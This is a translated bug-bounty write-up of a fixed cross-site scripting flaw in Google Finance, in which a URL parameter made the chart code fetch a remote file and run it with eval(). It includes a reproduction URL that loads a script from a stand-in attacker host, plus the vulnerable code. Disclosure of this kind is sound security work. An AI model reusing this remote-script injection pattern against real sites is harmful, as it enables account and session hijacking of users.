XSS in Google Finance Translation Link
We published an article on June 13 stating that "Google has adjusted its vulnerability reward program, with a maximum reward of $7,500 for a single vulnerability." On July 30, we saw Michele Spagnuolo's blog post saying, "He discovered and submitted an XSS vulnerability on Google Finance, which was confirmed and fixed by the Google security team. Michele received a $5,000 reward as a result." Below is the translation of Michele's blog post.
This issue appeared in Google Finance (google.com/finance). It could deceive the JavaScript charting application (source file: /finance/f/sfe-opt.js), making it load a file hosted on an external domain, then convert and execute the content of this file into JavaScript code via the eval() method.
This process does not require user interaction; just clicking on a URL will suffice.
Reproduction Steps:
1) Click on this URL (already fixed):
https://www.google.com/finance?chdet=1214596800000&q=NASDAQ:INTC&ntsp=2&ntrssurl=https://evildomain.com/x.js.
The x.js file contains the following validation code for demonstration purposes:
alert(document.domain);
This file must be hosted via HTTPS.
2) The remote JavaScript is executed.
How It Works
Below are two code snippets from /finance/f/sfe-opt.js that caused this security issue.
c.push("ntsp="); c.push(b); if (b == Vl.jj || b == Vl.kj) a = a.xc[ii(a.S)], a.lj() || (c.push("&ntrssurl="), c.push(escape(a.Cc || ""))); return c.join("");
In the above code, the URL parameter, more specifically the ntrssurl parameter (the address of the user's RSS source), is retrieved and concatenated.
Xi.prototype.send = function(a, b, c, d) { a = a || null; d = d || "_"+(Yi++).toString(36)+x().toString(36); n._callbacks_ || (n._callbacks_ = {}); var e = this.$s.Z(); if (a) for (var f in a) a.hasOwnProperty && !a.hasOwnProperty(f) || Fi(e, f, a[f]); b && (n._callbacks_[d] = Zi(d, b), Fi(e, this.Zs, "_callbacks_."+d)); b = Wi(e.toString(), { timeout: this.We, Ns: !0 }); Si(b, null, $i(d, a, c), void 0); return { La: d, Du: b } };
The second piece of code is responsible for querying news feeds on an external domain to display the content in the chart.
It generates a callback function name ending with the string "?_CALLBACK_". The function Wi performs an xmlhttprequest operation on the domain in the ntrssurl parameter in the URL.
Then, a simple piece of JavaScript code is returned and executed via the eval() method.
Screenshot Triggering the XSS Vulnerability
Screenshot of the Callback Request
Vulnerable Code Snippet
This security risk was quickly fixed, and I received a $5,000 reward for it.
Thank you very much, Google Security Team!